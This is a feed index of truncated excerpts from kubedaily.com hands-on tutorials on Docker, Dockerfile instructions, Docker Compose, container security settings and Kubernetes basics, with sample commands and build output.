https://kubedaily.com/docker/docker-compose-cli-run-command/ - ➜ example-voting-app git:(main) docker compose run db PostgreSQL Database directory appears to contain a database; Skipping initialization 2023-03-04 19:16:58.496 UTC [1] LOG: starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit 2023-03-04 19:16:58.496 UTC [1] LOG: listening on IPv4 address &#34;0.0.0.0&#34;, port 5432 2023-03-04 19:16:58.496 UTC [1] LOG: listening on IPv6 address &#34;::&#34;, port 5432 2023-03-04 19:16:58.498 UTC [1] LOG: listening on Unix socket &#34;/var/run/postgresql/.s.PGSQL.5432&#34; 2023-03-04 19:16:58. - - - Docker Compose with Volume Mount - https://kubedaily.com/docker/docker-compose-with-volume-mount/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-with-volume-mount/ - Lets build docker compose file version: &#39;3&#39; services: phpapp: image: php:7.2-apache ports: - &#34;8080:80&#34; volumes: - &#34;./:/var/www/html&#34; above when we do docker compose up it will start apache with php 7.2 it will mount corrent directory to /var/www/html also it mount port 80 of the container to port 8080 on the host -create index.php with following content &lt;?php echo &#34;hello world \n\n&#34;; run with docker compose 2-DC-Vol-Mount git:(main) ✗ docker compose up [+] Running 15/15 ⠿ phpapp Pulled 13. - - - Docker Daemon security configurations - https://kubedaily.com/containersecurity/docker-daemon-security-configurations/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-daemon-security-configurations/ - docker daemon security configuration Install docker CE 19.03 -# yum install -y yum-utils device-mapper-persistent-data lvm2 # yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo # yum install -y docker-ce [root@localhost docker]# docker --version Docker version 19.03.8, build afacb8b Daemon security configuration There is no configuration file by default, which needs to be created separately/etc/docker/daemon.json, the following configurations are all local test examples configured on this file. -{ &#34;icc&#34;: false, &#34;log-level&#34;: &#34;info&#34;, &#34;log-driver&#34;: &#34;json-file&#34;, &#34;log-opts&#34;: { &#34;max-size&#34;: &#34;10m&#34;, &#34;max-file&#34;:&#34;5&#34;, &#34;labels&#34;: &#34;somelabel&#34;, &#34;env&#34;: &#34;os,customer&#34; }, &#34;iptables&#34;: true, &#34;userns-remap&#34;: &#34;default&#34;, &#34;userland-proxy&#34;: false, &#34;experimental&#34;: false, &#34;selinux-enabled&#34;: true, &#34;live-restore&#34;: true, &#34;no-new-privileges&#34;: true, &#34;cgroup-parent&#34;: &#34;/foobar&#34;, &#34;seccomp-profile&#34;: &#34;/etc/docker/seccomp/default-no-chmod. - - - Docker events - https://kubedaily.com/containersecurity/docker-events/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-events/ - Docker events Docker events describe the activities taken by your Docker daemon. Most interactions with objects such as containers, images, volumes, and networks record an event, creating a log that you can use to inspect past changes. -There are many different kinds of event that identify specific changes in your environment: -Creating and removing containers Container health check statuses Commands executed inside containers with docker exec Pulling and pushing images Creating, destroying, mounting, and unmounting volumes Enabling and disabling Docker daemon plugins $ docker run --rm hello-world Several events should now appear in the terminal window that’s running the docker events command: - - - Docker Hello World Example - https://kubedaily.com/docker/docker-hello-world-example/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-hello-world-example/ - run your first hello world example docker run hello-world is a command that runs a simple Docker container to verify that Docker is correctly installed on your system and working as expected. -When you run this command, Docker will first check if the &ldquo;hello-world&rdquo; image is available locally. If the image is not found, Docker will download it from the Docker Hub registry. -Once the &ldquo;hello-world&rdquo; image is available, Docker will create a container from the image and run it. - - - Docker host security configurations - https://kubedaily.com/containersecurity/docker-host-security-configurations/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-host-security-configurations/ - SecComp and AppArmor Docker works with major Linux MAC technologies such as AppArmor and SELinux. -Depending on your Linux distribution, Docker applies a default AppArmor profile to all new containers. According to the Docker documentation, this default profile is “moderately protective while providing wide application compatibility”. -Docker also lets you start containers without a policy applied, as well as giving you the ability to customize policies to meet specific requirements. This is also very powerful, but can also be prohibitively complex. - - - Docker Image Filtering - https://kubedaily.com/docker/docker-image-filtering/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-image-filtering/ - running docker run alpine command would download the Alpine Linux image from Docker Hub and start a new container based on that image. You can then use the container to run commands or applications. When you exit the container, it will stop running. -Alpine Linux is a lightweight Linux distribution that is commonly used in Docker containers due to its small size and security features. -dockerworkshop git:(main) ✗ docker pull alpine:3. - - - Docker Networking - https://kubedaily.com/containersecurity/docker-networking/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-networking/ - Docker Networking The Container Netwotk Model (CNM) is the design document for Docker Networking which is implemented via &rsquo;libnetwork&rsquo; in golang -Sandbox - isolated network stavk Endpount - Virtual Ethernet Interfece Network - Virtual Switch (bridge) Note - Libnetwork -&gt; implemenrs the control and management plane functions -Network Specific Drivers -&gt; implemenrs the data plane while also handling the connectivity and isolation -Docker Native Network Drivers Bridge - uses a software bridge whicha allows containers connected to the same bridge network to communicate - - - Docker Registry security configurations - https://kubedaily.com/containersecurity/docker-registry-security-configurations/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-registry-security-configurations/ - What will you learn? -InteractIing with insecure registry with curl Fetching images using curl and analyzing image layers Attacking protected Docker registry Backdooring images and leveraging auto-deployment mechanisms to attack Docker host -Intracting with Insecure Registry [node1] (local) root@192.168.0.18 ~ $ docker run -d \ -p 5000:5000 \ --name registry \ -v /registry/data:/var/lib/registry \ --restart always \ registry:2 Unable to find image &#39;registry:2&#39; locally 2: Pulling from library/registry ca7dd9ec2225: Pull complete c41ae7ad2b39: Pull complete 1ed0fc8a6161: Pull complete 21df229223d2: Pull complete 626897ccab21: Pull complete Digest: sha256:ce14a6258f37702ff3cd92232a6f5b81ace542d9f1631966999e9f7c1ee6ddba Status: Downloaded newer image for registry:2 729cabb707e247e548ff84aa096c03e922e39e78bbe3c65753478305575576a6 check - - - Docker volumes - https://kubedaily.com/containersecurity/docker-volumes/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-volumes/ - Docker volumes -How to create encrypted data volume Create a Docker volume using the docker volume create command, for example: -$ docker volume create encrypted_volume Create a Docker container that will be used to create the encrypted volume. For this, you can use a tool like luksipc, which allows you to create a LUKS-encrypted file within a container. -Run the luksipccontainer with the --volume flag to specify the Docker volume you want to encrypt. - - - Docker Wordpress Example - https://kubedaily.com/docker/docker-wordpress-example/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-wordpress-example/ - create wordpress docker compose wordpress: image: wordpress links: - mariadb:mysql environment: - WORDPRESS_DB_PASSWORD=password - WORDPRESS_DB_USER=root ports: - &#34;public_ip:80:80&#34; volumes: - ./html:/var/www/html mariadb: image: mariadb environment: - MYSQL_ROOT_PASSWORD=password - MYSQL_DATABASE=wordpress volumes: - ./database:/var/lib/mysql run docker compose docker compose up - - - Dockerfile Lab - ADD instruction - https://kubedaily.com/docker/dockerfile-lab-add-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-add-instruction/ - Here&rsquo;s an example of a Dockerfile that uses the ADD instruction to copy a local file into a Docker image: -FROM ubuntu:latest WORKDIR /app ADD example.txt /app/ CMD [&#34;cat&#34;, &#34;/app/example.txt&#34;] Build Dockerfile Dockerfile git:(main) ✗ docker build -t sangam14/add-dockerfile -f dockerfile.add . [+] Building 5.2s (9/9) FINISHED =&gt; [internal] load build definition from dockerfile.add 0.0s =&gt; =&gt; transferring dockerfile: 131B 0.0s =&gt; [internal] load .dockerignore 0.0s =&gt; =&gt; transferring context: 2B 0. - - - Dockerfile Lab - ARG instruction - https://kubedaily.com/docker/dockerfile-lab-arg-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-arg-instruction/ - FROM alpine ENV key1=&#34;ENV is stronger than an ARG&#34; RUN echo ${key1} ARG key1=&#34;not going to matter&#34; RUN echo ${key1} RUN echo ${key2} ARG key2=&#34;defaultValue&#34; RUN echo ${key2} ENV key2=&#34;ENV value takes over&#34; RUN echo ${key2} CMD [&#34;sh&#34;] Build Dockerfile Dockerfile git:(main) ✗ docker build -t sangam14/arg-dockerfile -f dockerfile.arg . [+] Building 3.5s (11/11) FINISHED =&gt; [internal] load build definition from dockerfile.arg 0.0s =&gt; =&gt; transferring dockerfile: 336B 0.0s =&gt; [internal] load . - - - Dockerfile Lab - CMD instruction - https://kubedaily.com/docker/dockerfile-lab-cmd-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-cmd-instruction/ - The CMD command we saw earlier followed the Shell syntax: -CMD executable parameter1 parameter2 However, it is better practice to use the JSON array format: -CMD [&#34;executable&#34;, &#34;parameter1&#34;, &#34;parameter2&#34;] A CMD command can be overridden by providing the executable and its parameters in the docker ​run command. For example: -FROM ubuntu RUN apt-get update CMD [&#34;echo&#34; , &#34;Join CloudNativeFolks Community&#34;] build dockerfile docker build -t sangam14/cmd-dockerfile -f dockerfile.cmd . [+] Building 8. - - - Dockerfile Lab - COPY instruction - https://kubedaily.com/docker/dockerfile-lab-copy-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-copy-instruction/ - COPY is a dockerfile command that copies files from a local source location to a destination in the Docker container. A Dockerfile is a text file with instructions to set up a Docker container. -create myfile1.txt and myfile2.txt with following content : -# myfile1.txt Hello This is my first file ! This is file will be copied in /usr/share directory from Docker host to Docker Container. # myfile2.txt Hello This is my second file ! - - - Dockerfile Lab - Entrypoint instruction - https://kubedaily.com/docker/dockerfile-lab-entrypoint-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-entrypoint-instruction/ - Running a Docker Container with ENTRYPOINT Let&rsquo;s learn the details in this case by actually executing ENTRYPOINT in exec form. The following is an example of a Dockerfile that uses the exec form of ENTRYPOINT, which outputs a character string on the command line. -FROM alpine ENTRYPOINT [&#34;echo&#34;, &#34;Hello!&#34;] Build dockerfile ➜ Dockerfile git:(main) ✗ docker build -t sangam14/entrypoint-dockerfile -f dockerfile.entrypoint . [+] Building 3.2s (6/6) FINISHED =&gt; [internal] load build definition from dockerfile. - - - Dockerfile Lab - ENV instruction - https://kubedaily.com/docker/dockerfile-lab-env-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-env-instruction/ - cat dockerfile -FROM alpine ENV appDescription This app is a sample of using ENV instructions ENV appName=env-demo ENV note1=&#34;The First Note First&#34; note2=The\ Second\ Note\ Second \ note3=&#34;The Third Note Third&#34; ENV changeMe=&#34;Old Value&#34; CMD [&#34;sh&#34;] build dockerfile ➜ Dockerfile git:(main) ✗ docker build -t sangam14/env-dockerfile -f dockerfile.env . [+] Building 0.1s (5/5) FINISHED =&gt; [internal] load build definition from dockerfile.env 0.0s =&gt; =&gt; transferring dockerfile: 279B 0.0s =&gt; [internal] load . - - - Dockerfile Lab - HEALTHCHECK instruction - https://kubedaily.com/docker/dockerfile-lab-healthcheck-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-healthcheck-instruction/ - cat Dockerfile -FROM nginx build docker container docker build -t sangam14/healthcheck-dockerfile -f dockerfile.healthcheck . [+] Building 1.4s (6/6) FINISHED =&gt; [internal] load build definition from dockerfile.healthcheck 0.0s =&gt; =&gt; transferring dockerfile: 244B 0.0s =&gt; [internal] load .dockerignore 0.0s =&gt; =&gt; transferring context: 2B 0.0s =&gt; [internal] load metadata for docker.io/library/alpine:latest 0.0s =&gt; CACHED [1/2] FROM docker.io/library/alpine 0.0s =&gt; [2/2] RUN apk add curl 1.3s =&gt; exporting to image 0.0s =&gt; =&gt; exporting layers 0. - - - Dockerfile Lab - ONBUILD instruction - https://kubedaily.com/docker/dockerfile-lab-onbuild-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-onbuild-instruction/ - The ONBUILD instruction The ONBUILD instruction is a trigger. It sets instructions that will be executed when another image is built from the image being build. -This is useful for building images which will be used as a base to build other images. -ONBUILD COPY . /src You can&rsquo;t chain ONBUILD instructions with ONBUILD. ONBUILD can&rsquo;t be used to trigger FROM instructions. -FROM nginx:1.16-alpine WORKDIR /usr/share/nginx/html ONBUILD COPY index.html . build dockerfile docker build -t sangam14/onbuild-dockerfile -f dockerfile. - - - Dockerfile Lab - RUN instruction - https://kubedaily.com/docker/dockerfile-lab-run-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-run-instruction/ - The RUN command is the central executing directive for Dockerfiles. It takes a command as its argument and runs it to form the image. Unlike CMD, it actually is used to build the image (forming another layer on top of the previous one which is committed). -create dockerfile with following content FROM ubuntu RUN id RUN useradd --create-home -m -s /bin/bash dev # Add a fun prompt for dev user of my-app # whale: &#34;\xF0\x9F\x90\xB3&#34; # alien:&#34;\xF0\x9F\x91\xBD&#34; # fish:&#34;\xF0\x9F\x90\xA0&#34; # elephant:&#34;\xF0\x9F\x91\xBD&#34; # moneybag:&#34;\xF0\x9F\x92\xB0&#34; RUN echo &#39;PS1=&#34;\[$(tput bold)$(tput setaf 4)\]my-app $(echo -e &#34;\xF0\x9F\x90\xB3&#34;) \[$(tput sgr0)\] [\\u@\\h]:\\W \\$ &#34;&#39; &gt;&gt; /home/dev/. - - - Dockerfile Lab - USER instruction - https://kubedaily.com/docker/dockerfile-lab-user-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-user-instruction/ - cat dockerfile.user -FROM alpine USER dockerworkshop:dockerworkshop CMD [&#34;sh&#34;] build dockerfile docker build -t sangam14/user-dockerfile -f dockerfile.user . [+] Building 0.1s (5/5) FINISHED =&gt; [internal] load build definition from dockerfile.user 0.0s =&gt; =&gt; transferring dockerfile: 105B 0.0s =&gt; [internal] load .dockerignore 0.0s =&gt; =&gt; transferring context: 2B 0.0s =&gt; [internal] load metadata for docker.io/library/alpine:latest 0.0s =&gt; CACHED [1/1] FROM docker.io/library/alpine 0.0s =&gt; exporting to image 0.0s =&gt; =&gt; exporting layers 0.0s =&gt; =&gt; writing image sha256:48482459d09aecafaa0db190d6995b6d2339c0383c6cd97fafbea288124332c7 0. - - - Dockerfile Lab - Volume instruction - https://kubedaily.com/docker/dockerfile-lab-volume-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-volume-instruction/ - cat dockerfile.vol -FROM alpine RUN mkdir /myvol RUN echo &#34;hello world&#34; &gt; /myvol/greeting VOLUME /myvol CMD [&#34;sh&#34;] Build above dockerfile docker build -t sangam14/vol-dockerfile -f dockerfile.vol . [+] Building 0.4s (7/7) FINISHED =&gt; [internal] load build definition from dockerfile.vol 0.0s =&gt; =&gt; transferring dockerfile: 140B 0.0s =&gt; [internal] load .dockerignore 0.0s =&gt; =&gt; transferring context: 2B 0.0s =&gt; [internal] load metadata for docker.io/library/alpine:latest 0.0s =&gt; CACHED [1/3] FROM docker.io/library/alpine 0.0s =&gt; [2/3] RUN mkdir /myvol 0. - - - Dockerfile Lab - WORKDIR instruction - https://kubedaily.com/docker/dockerfile-lab-workdir-instruction/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/dockerfile-lab-workdir-instruction/ - The WORKDIR command is used to define the working directory of a Docker container at any given time. The command is specified in the Dockerfile. -Any RUN, CMD, ADD, COPY, or ENTRYPOINT command will be executed in the specified working directory. -WORKDIR instruction Dockerfile for Docker Quick Start FROM ubuntu WORKDIR /var/www/html RUN apt-get update &amp;&amp; apt-get install -y nginx COPY index.html . ENTRYPOINT [&#34;nginx&#34;, &#34;-g&#34;, &#34;daemon off;&#34;] build dockerfile docker build -t sangam14/workdir-dockerfile -f dockerfile. - - - DockerFile Security Best Practices - https://kubedaily.com/containersecurity/dockerfile-security-best-practices/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/dockerfile-security-best-practices/ - DockerFile Security Best Practices Choose Minimal Base Images FROM alpine WORKDIR /app COPY package.json /app RUN npm install CMD [“node”,“index.js”] Remove Cache Packages FROM alpine RUN apk add nginx &amp;&amp; rm -rf /var/cache/apt/* COPY index.html /var/www/html/ EXPOSE 80 CMD [“nginx”,“-g”,“daemon off;”] FROM alpine RUN apk add –no-cache nginx COPY index.html /var/www/html/ EXPOSE 80 CMD [“nginx”,“-g”,“daemon off;”] avoid multilayers FROM alpine RUN apk update RUN apk add curl RUN apk add nodejs RUN apk add nginx-1. - - - DockerScan - https://kubedaily.com/containersecurity/dockerscan/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/dockerscan/ - DockerScan Docker Scan Support actions for docker registory scanning , image analysis and image meta information exaction to look for password , URL/ IP etc in the envirmonment variavle and any kind of sudo call by user -create a directory for this $ sudo mkdir dockersec-2 $ cd dockersec-2 check pyhon version which mustt be greater then 3.5 and must have pip installed -$ python3 --version $ sudo apt install python3-pip $ which pip3 `` Install Dockerscan with pip3 $ sudo /user/bin/pip3 install dockerscan - - - Environment variables - https://kubedaily.com/containersecurity/environment-variables/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/environment-variables/ - Environment variables example of using an environment variable in a Dockerfile: -FROM alpine:latest # Set an environment variable ENV MY_VAR &#34;Hello World&#34; # Use the environment variable in a command RUN echo $MY_VAR &gt; /app/output.txt CMD [&#34;cat&#34;, &#34;/app/output.txt&#34;] In this example, the environment variable MY_VAR is set to the value &ldquo;Hello World&rdquo;. This variable is then used in the RUN command to create an output.txt file with the contents &ldquo;Hello World&rdquo;. - - - Host Volume Mount - Data persistentence - https://kubedaily.com/docker/host-volume-mount-data-persistentence/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/host-volume-mount-data-persistentence/ - we already used database with web app but docker containers are ephermal. this means they are losing data once removed or re-started so somewhere need to find data persistent -create docker-compose.yml using following content -version: &#39;3&#39; services: db: image: mysql:latest restart: always container_name: myphpapp-db environment: MYSQL_ROOT_PASSWORD: somepass MYSQL_DATABASE: somedatabase dbclient: image: mysql:latest depends_on: - db command: mysql -uroot -psomepass -hdb MYSQL_DATABASE will create an empty database with the name &ldquo;somedatabase&rdquo; at first - - - Images and Container As Tar file - https://kubedaily.com/docker/images-and-container-as-tar-file/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/images-and-container-as-tar-file/ - Images and Container as Tarfile Docker provides the ability to save images and containers as tar files, which can be useful for sharing with others or transferring between systems. Here&rsquo;s how to do it: -docker pull nginx:latest latest: Pulling from library/nginx 5731adb3a4ab: Pull complete 8785c8f663d3: Pull complete 023b6bd393e4: Pull complete fd8f86b165b0: Pull complete 8f41e7c12976: Pull complete 3b5338ea7d08: Pull complete Digest: sha256:6650513efd1d27c1f8a5351cbd33edf85cc7e0d9d0fcb4ffb23d8fa89b601ba8 Status: Downloaded newer image for nginx:latest docker.io/library/nginx:latest Saving an Image as a Tar File To save a Docker image as a tar file, use the docker save command with the image name and output file name: - - - Ingress Controller - https://kubedaily.com/k8s/ingress-controller/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/ingress-controller/ - enable ingress addon k8s101 git:(main) ✗ minikube addons enable ingress 💡 ingress is an addon maintained by Kubernetes. For any concerns contact minikube on GitHub. You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS 💡 After the addon is enabled, please run &#34;minikube tunnel&#34; and your ingress resources would be available at &#34;127.0.0.1&#34; ▪ Using image k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1 ▪ Using image k8s.gcr.io/ingress-nginx/controller:v1.2.1 ▪ Using image k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1 🔎 Verifying ingress addon... 🌟 The &#39;ingress&#39; addon is enabled ➜ k8s101 git:(main) ✗ verify ngnix controller running ➜ k8s101 git:(main) ✗ kubectl get pods -n ingress-nginx NAME READY STATUS RESTARTS AGE ingress-nginx-admission-create-fxzbs 0/1 Completed 0 4m7s ingress-nginx-admission-patch-jw98n 0/1 Completed 1 4m7s ingress-nginx-controller-5959f988fd-tv8x8 1/1 Running 0 4m7s verify all pods running ➜ k8s101 git:(main) ✗ kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE coredns-565d847f94-bl9qz 1/1 Running 0 12h etcd-minikube 1/1 Running 0 12h kube-apiserver-minikube 1/1 Running 0 12h kube-controller-manager-minikube 1/1 Running 0 12h kube-proxy-qj7s7 1/1 Running 0 12h kube-scheduler-minikube 1/1 Running 0 12h storage-provisioner 1/1 Running 2 (12h ago) 12h Deploy Hello World App ➜ k8s101 git:(main) ✗ kubectl create deployment web --image=gcr. - - - Interacting with container ecosystem - https://kubedaily.com/containersecurity/interacting-with-container-ecosystem/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/interacting-with-container-ecosystem/ - Interacting with container ecosystem Docker Images and Image Layers -In Docker, an image is a lightweight, stand-alone, executable package that includes everything needed to run a piece of software, including the application code, libraries, dependencies, and runtime. It&rsquo;s used to build and run containerized applications. -A Docker image is made up of a series of layers, where each layer represents an instruction in the image&rsquo;s Dockerfile. When you build an image, each instruction in the Dockerfile creates a new layer in the image. - - - Kubernetes - https://kubedaily.com/k8s/overview/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/overview/ - Table of Content Title Link 1.Pre-requisit for this lab lab 2.Basics of Pod lab 3.Create POD with Command and Arguments lab 4.Multi-Container Pods lab 5.Deployments &amp; replication lab 6.Labels &amp; Selectors lab 7.Kubernetes Service lab 8.Service Type: NodePort,ClusterIP,LoadBalancer lab 9.Ingress Controller lab 10.ConfigMap lab What next &raquo; -[kubernetes Security] [helm workshop] [Service Mesh] - - - Kubernetes Service - https://kubedaily.com/k8s/kubernetes-service/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/kubernetes-service/ - kubectl explain svc ➜ k8s101 git:(main) ✗ kubectl explain svc KIND: Service VERSION: v1 DESCRIPTION: Service is a named abstraction of software service (for example, mysql) consisting of local port (for example 3306) that the proxy listens on, and the selector that determines which pods will answer requests sent through the proxy. FIELDS: apiVersion &lt;string&gt; APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. - - - Labels and Selectors - https://kubedaily.com/k8s/labels-and-selectors/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/labels-and-selectors/ - Labels - Maps (aka Dictionaries) ➜ k8s101 git:(main) ✗ kubectl explain deployment.metadata.labels KIND: Deployment VERSION: apps/v1 FIELD: labels &lt;map[string]string&gt; DESCRIPTION: Map of string keys and values that can be used to organize and categorize (scope and select) objects. May match selectors of replication controllers and services. More info: http://kubernetes.io/docs/user-guide/labels Labels are attached to Kubernetes objects and are simple key: value pairs or maps(dictionary). Labels are used to store identifying information about a thing that you might need to query against. - - - Multi-Container Pods - https://kubedaily.com/k8s/multi-container-pods/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/multi-container-pods/ - Why does Kubernetes allow more than one container in a Pod Containers in a Pod runs on a &ldquo;logical host&rdquo;: they use the same network namespace (same IP address and port space), they can use shared volumes using several containers for an application is simpler to use, more transparent, and allows decoupling software dependencies Use Cases for Multi-Container Pods The primary purpose of a multi-container Pod is to support co-located, co-managed helper processes for a main program - - - Named Volume Mount - Data persistentence - https://kubedaily.com/docker/named-volume-mount-data-persistentence/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/named-volume-mount-data-persistentence/ - create volume 6-DC-name-volume git:(main) ✗ docker volume create --name my-vol my-vol create docker-compose.yml with following content version: &#39;3.7&#39; services: db: image: mysql:latest restart: always container_name: myphpapp-db environment: MYSQL_ROOT_PASSWORD: somepass MYSQL_DATABASE: somedatabase volumes: - my-vol:/var/lib/mysql volumes: my-vol: name: my-vol run docker compose docker compose up -d WARN[0000] volume &#34;my-vol&#34; already exists but was not created by Docker Compose. Use `external: true` to use an existing volume [+] Running 1/1 ⠿ Container myphpapp-db Started 0. - - - Namespaces - https://kubedaily.com/containersecurity/namespaces/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/namespaces/ - Namespaces There are several types of namespaces in containers, including: -PID Namespaces: -These namespaces isolate the process IDs of containers from the host system and from other containers. This means that each container has its own set of process IDs, which helps to prevent conflicts and ensures that containers cannot access processes belonging to other containers or the host system. Network Namespaces: -These namespaces isolate the network interfaces and IP addresses of containers from the host system and from other containers. - - - Newtorking in Docker Compose - https://kubedaily.com/docker/newtorking-in-docker-compose/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/newtorking-in-docker-compose/ - creating and using networks in docker-compose.yml version: &#34;3.7&#34; services: app1: image: httpd:latest container_name: app1 ports: - 8080:80 networks: - app1_net networks: app1_net: run docker compose up docker-compose up Open browser http://localhost:8080 Observe the output -On a second terminal docker ps Observe the networking part! docker inspect app1 Stops the docker-compose docker-compose rm - - - Newtorking in Docker Compose with ngnix - https://kubedaily.com/docker/newtorking-in-docker-compose-with-ngnix/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/newtorking-in-docker-compose-with-ngnix/ - create docker-compose.yml with following content : -version: &#34;3.7&#34; services: web: image: nginx:alpine volumes: - ./nginx.conf:/etc/nginx/nginx.conf ports: - 8080:80 networks: - app1_net - app2_net app1: image: httpd:latest networks: - app1_net app2: image: httpd:latest networks: - app2_net networks: app1_net: app2_net: the following nginx.conf configuration file in the same directory: events {} http { server { listen 80; listen [::]:80; server_name example.com; location / { proxy_pass http://app1:80/; } location /app2 { proxy_pass http://app2:80/; } } } run docker compose docker compose up Go to http://localhost:8080 and observer the command line • It will show you the nignx-container web_1 container (reverse_proxy) was requested • And forwarded the request to “app1” container • Reload a few times to make this more obvious Go to http://localhost:8080/app2 and observe the command line • It will show you again that nginx-container web_1 container (reverse_proxy) was requested • And now forwards to “app2” container • Reload a few times to make this more obvious - - - Overview - https://kubedaily.com/docker/overview/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/overview/ - Table of Content Title Link 1.Pre-requisit for this lab Lab 2.Docker Hello World Example Lab 3.Docker Image Filtering 4.Images and Container As Tar file Lab 5.Push first Nginx Web app To DockerHub Lab 6.Build a Base Image from Scratch Lab 7.Dockerfile Lab - ADD instruction Lab 8.Dockerfile Lab - COPY instruction Lab 9.Dockerfile Lab - CMD instruction Lab 10.Dockerfile Lab - Entrypoint instruction Lab 11.Dockerfile Lab - WORKDIR instruction Lab 12. - - - Pre-requisit for this lab - https://kubedaily.com/docker/pre-requisit-for-this-lab/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/pre-requisit-for-this-lab/ - Here are the steps to create a Docker Hub account: -Go to https://hub.docker.com/signup and click on the &ldquo;Sign Up&rdquo; button. Fill out the registration form with your name, email address, and password. Agree to the terms of service and privacy policy by checking the box. Click on the &ldquo;Sign Up&rdquo; button to complete the registration process. You will receive a verification email from Docker Hub. Follow the link in the email to verify your email address. - - - Push first Nginx Web app To DockerHub - https://kubedaily.com/docker/push-first-nginx-web-app-to-dockerhub/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/push-first-nginx-web-app-to-dockerhub/ - Pull nginx image from dockerhub using dockerworkshop git:(main) ✗ docker pull nginx Using default tag: latest latest: Pulling from library/nginx Digest: sha256:6650513efd1d27c1f8a5351cbd33edf85cc7e0d9d0fcb4ffb23d8fa89b601ba8 Status: Image is up to date for nginx:latest docker.io/library/nginx:latest Run Docker with ngnix dockerworkshop git:(main) ✗ docker run --name docker-nginx -p 80:80 -d nginx 63258aebdc2d8ea40a0099efb3e51f8b15db2fe2dc048da3901843b4782d19fb –name docker-nginx : Name given to the container that is run is docker-nginx-p 80:80 : the port we are exposing and mapping from local machine port number to that of container, in the format local_machine_port:container_port-d : Detached mode – Runs the container in background - - - RBAC - https://kubedaily.com/k8s/rbac/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/rbac/ - Role Based Access Control (RBAC) Role-Based Access Control (RBAC) in Kubernetes is a method of regulating access to computer or network resources based on the roles of individual users within an enterprise. In the context of Kubernetes, RBAC allows you to control who has access to the Kubernetes API and what they can do with those resources -- Rules: A rule is a set of operations (verbs) that can be carried out on a group of resources which belong to different API Groups. - - - Running multiple docker containers from CLI - https://kubedaily.com/docker/running-multiple-docker-containers-from-cli/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/running-multiple-docker-containers-from-cli/ - We will create two containers (linux1, linux2) based on the same image (ubuntu) docker run -it -d --rm --name linux1 ubuntu /bin/bash additional flags: -dstarts the container as “detached”. Use “docker attach” to attach to it later on. --rm cleans up the container after stopping. The container will be removed, basically the same as “docker rm container_identifier” after stopping the container. So everything is kept tidy. --name will give the container a dedicated name, which makes it easier to address the container later on. - - - Scanning Docker for vulnerabilities with ThraetMappeper - https://kubedaily.com/containersecurity/scanning-docker-for-vulnerabilities-with-thraetmappeper/ - Mon, 01 Jan 0001 00:00:00 +0000 - 